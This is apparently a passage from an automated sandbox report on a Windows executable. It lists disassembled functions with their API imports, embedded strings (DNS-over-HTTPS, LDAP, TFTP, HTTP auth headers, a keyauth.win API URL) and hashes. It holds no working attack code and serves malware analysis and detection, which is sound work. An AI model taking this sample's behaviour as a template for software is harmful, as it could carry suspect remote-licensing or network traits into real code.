malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73E031
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73E060
htonl.WS2_32 ref: 00007FF79B73E075
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73E0A2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73E129
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73E132
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73E13B
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73E161
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73E172
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73E17B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73E184
memcpy.VCRUNTIME140 ref: 00007FF79B73E19F
memcpy.VCRUNTIME140 ref: 00007FF79B73E1B3
memcpy.VCRUNTIME140 ref: 00007FF79B73E1C9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73E1F0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73E1F9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73E202
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73E20B

Strings

GSSAPI handshake failure (invalid security layer), xrefs: 00007FF79B73E006
GSSAPI handshake failure (invalid security data), xrefs: 00007FF79B73DF87
GSSAPI handshake failure (empty security message), xrefs: 00007FF79B73DF77, 00007FF79B73E218

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$malloc$memcpy$htonl
String ID: GSSAPI handshake failure (empty security message)$GSSAPI handshake failure (invalid security data)$GSSAPI handshake failure (invalid security layer)
API String ID: 82385936-242323837
Opcode ID: 122f7fd80c8594248d113e32287b9eb9e9d1154b8ca574f645f8e3e0c2da2698
Instruction ID: ed3dd3420273f81ce1eb4dfee3c5c1f477e15e37452669326fedb0bd00b0b02b
Opcode Fuzzy Hash: 122f7fd80c8594248d113e32287b9eb9e9d1154b8ca574f645f8e3e0c2da2698
Instruction Fuzzy Hash: 25C14331A08B4686E724AB79E8802ADB7A5FB48B94F804236DE5D47774DF7CD648C720

Function 00007FF79B6EAE0F Relevance: 37.2, APIs: 18, Strings: 3, Instructions: 459COMMON

Download Yara Rule

APIs

_dclass.API-MS-WIN-CRT-MATH-L1-1-0 ref: 00007FF79B6EAE17
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EB8D3
__std_exception_destroy.VCRUNTIME140 ref: 00007FF79B6EB901
__std_exception_destroy.VCRUNTIME140 ref: 00007FF79B6EB90F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EB94A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EB989

Strings

number overflow parsing ', xrefs: 00007FF79B6EB80F
array, xrefs: 00007FF79B6EBA09
object, xrefs: 00007FF79B6EBB98

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy$_dclass
String ID: array$number overflow parsing '$object
API String ID: 1391767211-579821726
Opcode ID: 49bad17305f210d6756fb996981a7dfa2863f23b8915e32a00217a397da20321
Instruction ID: 051a5656001481005eda8f00e3f2f2f519731147db2979c9c815a05b1dbe4cdc
Opcode Fuzzy Hash: 49bad17305f210d6756fb996981a7dfa2863f23b8915e32a00217a397da20321
Instruction Fuzzy Hash: 9022B962A18B8985EB20EBBCD4443AD7762FB857A4F804332D66D06AF5DF7DE194C310

Function 00007FF79B732BB0 Relevance: 37.1, APIs: 10, Strings: 11, Instructions: 312networkCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF79B732C99
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B732CE0
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B732F36
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B732F4D
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B732F68
htons.WS2_32 ref: 00007FF79B732FC7

Strings

CNAME: %s, xrefs: 00007FF79B732EC3
DOH: %s type %s for %s, xrefs: 00007FF79B732D14
AAAA, xrefs: 00007FF79B732D06
DOH Host name: %s, xrefs: 00007FF79B732D61
bad error code, xrefs: 00007FF79B732CF8
DOH AAAA: , xrefs: 00007FF79B732DE2
%s, xrefs: 00007FF79B732E83
DOH A: %u.%u.%u.%u, xrefs: 00007FF79B732DAE
Could not DOH-resolve: %s, xrefs: 00007FF79B732C06
TTL: %u seconds, xrefs: 00007FF79B732D75
%s%02x%02x, xrefs: 00007FF79B732E2E

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: calloc$_strdupfreehtonsmemset
String ID: %s$%s%02x%02x$AAAA$CNAME: %s$Could not DOH-resolve: %s$DOH A: %u.%u.%u.%u$DOH AAAA: $DOH Host name: %s$DOH: %s type %s for %s$TTL: %u seconds$bad error code
API String ID: 130798683-4053692942
Opcode ID: 7cec8a530bab6e4e14e36d90609d07fde7477cf563e6d6e9dc01247cd4815aea
Instruction ID: 7e1fce22d980f8f7f38376068ea60aee1c0fa82336ba7acf18d1b4c4606a6bf9
Opcode Fuzzy Hash: 7cec8a530bab6e4e14e36d90609d07fde7477cf563e6d6e9dc01247cd4815aea
Instruction Fuzzy Hash: 46E18432A0868A86E770AF39E4443A9B765FB48B84F854237DA4D47775DF3CE648C720

Function 00007FF79B72DB10 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 257stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF79B72D2CF), ref: 00007FF79B72DB96
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF79B72D2CF), ref: 00007FF79B72DBBC
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF79B72D2CF), ref: 00007FF79B72DBCD
strchr.VCRUNTIME140(?,?,?,?,?,00000000,00000000,00000000,00007FF79B72D2CF), ref: 00007FF79B72DC3B
strchr.VCRUNTIME140(?,?,?,?,?,00000000,00000000,00000000,00007FF79B72D2CF), ref: 00007FF79B72DC6C
strchr.VCRUNTIME140(?,?,?,?,?,00000000,00000000,00000000,00007FF79B72D2CF), ref: 00007FF79B72DC8C
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF79B72D2CF), ref: 00007FF79B72DC9E
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF79B72D2CF), ref: 00007FF79B72DD00
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF79B72D2CF), ref: 00007FF79B72DD71
strchr.VCRUNTIME140(?,?,?,?,?,00000000,00000000,00000000,00007FF79B72D2CF), ref: 00007FF79B72DD88
strchr.VCRUNTIME140(?,?,?,?,?,00000000,00000000,00000000,00007FF79B72D2CF), ref: 00007FF79B72DE43
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF79B72D2CF), ref: 00007FF79B72DEB7
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF79B72D2CF), ref: 00007FF79B72DEC0

Strings

sub, xrefs: 00007FF79B72DDF4
onetree, xrefs: 00007FF79B72DDB6
base, xrefs: 00007FF79B72DDC9
subtree, xrefs: 00007FF79B72DE07
one, xrefs: 00007FF79B72DDA3
LDAP, xrefs: 00007FF79B72DB56

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: strchr$free$_strdupcalloc
String ID: LDAP$base$one$onetree$sub$subtree
API String ID: 112326314-884163498
Opcode ID: c441c14a2b1bdea0e04bcdcd83fc73141006c477e6a67313454cb6bf718cf366
Instruction ID: 9eaafaf954cf3129794847905eea2369d940d298ccc52cabbd14d1a184c82cae
Opcode Fuzzy Hash: c441c14a2b1bdea0e04bcdcd83fc73141006c477e6a67313454cb6bf718cf366
Instruction Fuzzy Hash: 8DB17521A09B8A86EA75AB399450279A391FF8D780FC44237DE4D477B4EF3CE645C720

Function 00007FF79B72BCE0 Relevance: 35.2, APIs: 4, Strings: 16, Instructions: 175stringCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140 ref: 00007FF79B72BD41
memchr.VCRUNTIME140 ref: 00007FF79B72BD77
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF79B72BDFB
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF79B72BE8B

Strings

tsize parsed from OACK, xrefs: 00007FF79B72BE94
invalid tsize -:%s:- value in OACK packet, xrefs: 00007FF79B72BF67
Malformed ACK packet, rejecting, xrefs: 00007FF79B72BF7A
blksize is smaller than min supported, xrefs: 00007FF79B72BF0E
blksize parsed from OACK, xrefs: 00007FF79B72BE33
blksize, xrefs: 00007FF79B72BDDF
tsize, xrefs: 00007FF79B72BE6F
blksize is larger than max supported, xrefs: 00007FF79B72BF31
got option=(%s) value=(%s), xrefs: 00007FF79B72BDBC
requested, xrefs: 00007FF79B72BE3A
%s (%ld), xrefs: 00007FF79B72BE9B
%s (%ld), xrefs: 00007FF79B72BEF2
server requested blksize larger than allocated, xrefs: 00007FF79B72BEE8
%s (%d) %s (%d), xrefs: 00007FF79B72BE4D
invalid blocksize value in OACK packet, xrefs: 00007FF79B72BF4E
%s (%d), xrefs: 00007FF79B72BF15, 00007FF79B72BF38

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: memchrstrtol
String ID: %s (%d)$%s (%d) %s (%d)$%s (%ld)$%s (%ld)$Malformed ACK packet, rejecting$blksize$blksize is larger than max supported$blksize is smaller than min supported$blksize parsed from OACK$got option=(%s) value=(%s)$invalid blocksize value in OACK packet$invalid tsize -:%s:- value in OACK packet$requested$server requested blksize larger than allocated$tsize$tsize parsed from OACK
API String ID: 1626215102-895336422
Opcode ID: e72314628692c8f67b7c30d7b4dec522e30d90b8ff87010d58779c3d96bd0464
Instruction ID: 6ca3300940053256516efef342905ba53d2b2949a50a479925e3da621387d55e
Opcode Fuzzy Hash: e72314628692c8f67b7c30d7b4dec522e30d90b8ff87010d58779c3d96bd0464
Instruction Fuzzy Hash: 1A617D60A0864E85EB34AB39A8442B9B752EF487A0FD04733D96E477F5DE3CE7458720

Function 00007FF79B6FBE00 Relevance: 34.9, APIs: 6, Strings: 17, Instructions: 352COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B6F5730: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B6FFD30,?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B6F1B61), ref: 00007FF79B6F5757
Part of subcall function 00007FF79B6F5730: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B6FFD30,?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B6F1B61), ref: 00007FF79B6F5763

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FC094
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FC09C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FC0C3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FC0CC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FC150
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FC159

Strings

Content-Transfer-Encoding: %s, xrefs: 00007FF79B6FC2E1
form-data, xrefs: 00007FF79B6FC306
Content-Type: %s%s%s, xrefs: 00007FF79B6FC17D
; boundary=, xrefs: 00007FF79B6FC173
; filename=", xrefs: 00007FF79B6FC0E1
text/plain, xrefs: 00007FF79B6FBF6C
Content-Type, xrefs: 00007FF79B6FBE88
multipart/form-data, xrefs: 00007FF79B6FC257
multipart/mixed, xrefs: 00007FF79B6FBEF5
Content-Transfer-Encoding, xrefs: 00007FF79B6FC1C1
application/octet-stream, xrefs: 00007FF79B6FBF26
8bit, xrefs: 00007FF79B6FC2DA
attachment, xrefs: 00007FF79B6FC04B, 00007FF79B6FC052
; name=", xrefs: 00007FF79B6FC0EF
Content-Disposition, xrefs: 00007FF79B6FBFC1
multipart/, xrefs: 00007FF79B6FC037
Content-Disposition: %s%s%s%s%s%s%s, xrefs: 00007FF79B6FC119

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: 8bit$; boundary=$; filename="$; name="$Content-Disposition$Content-Disposition: %s%s%s%s%s%s%s$Content-Transfer-Encoding$Content-Transfer-Encoding: %s$Content-Type$Content-Type: %s%s%s$application/octet-stream$attachment$form-data$multipart/$multipart/form-data$multipart/mixed$text/plain
API String ID: 1294909896-1595554923
Opcode ID: fa43ea9e0a126be4bef8fb6f7ed3e76991f67a2a80a70aa702e2070dbb11514f
Instruction ID: 7d517a802712442e826a37d914c6f319de9771c7128add7a52f975b202c4d265
Opcode Fuzzy Hash: fa43ea9e0a126be4bef8fb6f7ed3e76991f67a2a80a70aa702e2070dbb11514f
Instruction Fuzzy Hash: 8DE1C622B0964A92FA74AB3994012B5B7A2FF44B84FC84135CE6D43671DF3CF655C320

Function 00007FF79B714480 Relevance: 33.2, APIs: 6, Strings: 16, Instructions: 206COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7145F7

Strings

Basic, xrefs: 00007FF79B714757
Proxy-, xrefs: 00007FF79B714706
Negotiate, xrefs: 00007FF79B7144BA
%sAuthorization: Basic %s, xrefs: 00007FF79B714710
%s auth using %s with user '%s', xrefs: 00007FF79B714796
Authorization: Bearer %s, xrefs: 00007FF79B714600
Authorization, xrefs: 00007FF79B71463A
NTLM, xrefs: 00007FF79B7144DC
Digest, xrefs: 00007FF79B7144FE
Proxy-authorization, xrefs: 00007FF79B714563
Proxy, xrefs: 00007FF79B7147A4
CONNECT, xrefs: 00007FF79B71448E
%s:%s, xrefs: 00007FF79B714689
Authorization:, xrefs: 00007FF79B7145D1
Server, xrefs: 00007FF79B71478C
Bearer, xrefs: 00007FF79B7145F0

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: %s auth using %s with user '%s'$%s:%s$%sAuthorization: Basic %s$Authorization$Authorization:$Authorization: Bearer %s$Basic$Bearer$CONNECT$Digest$NTLM$Negotiate$Proxy$Proxy-$Proxy-authorization$Server
API String ID: 1294909896-115817326
Opcode ID: 5103666079e0895649055ce2dfff0de9951619527c72c7acf41ad06290363e95
Instruction ID: 69d2d487fbe0676fb2c2e92b96840f39e4f7aa0ce63b360dcc8100863e65f576
Opcode Fuzzy Hash: 5103666079e0895649055ce2dfff0de9951619527c72c7acf41ad06290363e95
Instruction Fuzzy Hash: 58915221A0CA9B91FA70EB399450379A395EB8AB94F944237DA4C076B1DF2CE645C730

Function 00007FF79B6E6310 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 463COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B6E4310: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF79B6E1B49), ref: 00007FF79B6E4341

memcpy.VCRUNTIME140 ref: 00007FF79B6E6486
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF79B6E6518
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF79B6E6559
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E66A3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E66E2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E6730
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E6771
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E67CE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E6888

Part of subcall function 00007FF79B73F1F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,-3333333333333333,00007FF79B6E43EE,7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF79B6E1B49), ref: 00007FF79B73F20A

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E68C9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E6996
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E69D7
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF79B6E69FA

Strings

; last read: ', xrefs: 00007FF79B6E65DC
syntax error , xrefs: 00007FF79B6E635D
unexpected , xrefs: 00007FF79B6E6813
rsing , xrefs: 00007FF79B6E6468
; expected , xrefs: 00007FF79B6E6920

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memcpy$Concurrency::cancel_current_taskmalloc
String ID: ; expected $; last read: '$rsing $syntax error $unexpected
API String ID: 264867259-3075834232
Opcode ID: 08d3399ec8f940c4a03e1f46e61cfcb17744a78f9cb9d73cd223b47bae6f47fe
Instruction ID: 66f4923195c3b9ba605d1d9d1368c1546875c938265e5e7c2577b46efee118d0
Opcode Fuzzy Hash: 08d3399ec8f940c4a03e1f46e61cfcb17744a78f9cb9d73cd223b47bae6f47fe
Instruction Fuzzy Hash: 9A12E862F08A4985FB20AB78E44436DA762EB447E8F804731DA6D176F9DF7DE294C310

Function 00007FF79B6F9A20 Relevance: 31.8, APIs: 21, Instructions: 269stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B6FA970: _time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000,00000000,?,00007FF79B6FA3EE,?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B7010B9), ref: 00007FF79B6FA993
Part of subcall function 00007FF79B6FA970: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FA9E9
Part of subcall function 00007FF79B6FA970: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FA9F3
Part of subcall function 00007FF79B6FA970: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FA9FD
Part of subcall function 00007FF79B6FA970: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FAA07
Part of subcall function 00007FF79B6FA970: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FAA11
Part of subcall function 00007FF79B6FA970: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FAA1B
Part of subcall function 00007FF79B6FA970: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FAA25
Part of subcall function 00007FF79B6FA970: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FAA2F
Part of subcall function 00007FF79B6FA970: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FAA38

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F9B17
strchr.VCRUNTIME140 ref: 00007FF79B6F9B31
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F9B5B
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F9B68
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F9B92
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F9BA6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F9BB3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F9BCC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F9BDA
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F9BE8
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F9C03
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F9C1F
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F9C3B
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F9C57
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F9C73
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F9C8F
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F9CAB
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F9CC3
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F9D5B
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0 ref: 00007FF79B6F9D92
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F9DD3

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$_strdup$_time64callocmallocqsortstrchrstrncmp
String ID:
API String ID: 1087521380-0
Opcode ID: 178b2be9fe900d882fbf4bec64a10ac822553494956453af857de872257d8abc
Instruction ID: 828e5ce37c2fa9adbe3383b0171ebf371d495902aa8bc549e88e08c375fc41dc
Opcode Fuzzy Hash: 178b2be9fe900d882fbf4bec64a10ac822553494956453af857de872257d8abc
Instruction Fuzzy Hash: 8EB1A321A0AB4A41EB75AF399559279A7A2AF06B94F980131CE6D033F4DF3CF654C330

Function 00007FF79B72E240 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 214stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B72E250
strstr.VCRUNTIME140 ref: 00007FF79B72E27F
strchr.VCRUNTIME140 ref: 00007FF79B72E2AB
strrchr.VCRUNTIME140 ref: 00007FF79B72E2C5
strchr.VCRUNTIME140 ref: 00007FF79B72E2DA
strrchr.VCRUNTIME140 ref: 00007FF79B72E33A

Strings

?, xrefs: 00007FF79B72E2B8
/, xrefs: 00007FF79B72E295
/, xrefs: 00007FF79B72E353
., xrefs: 00007FF79B72E31A
/, xrefs: 00007FF79B72E30E

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: strchrstrrchr$_strdupstrstr
String ID: .$/$/$/$?
API String ID: 2325335452-1821401756
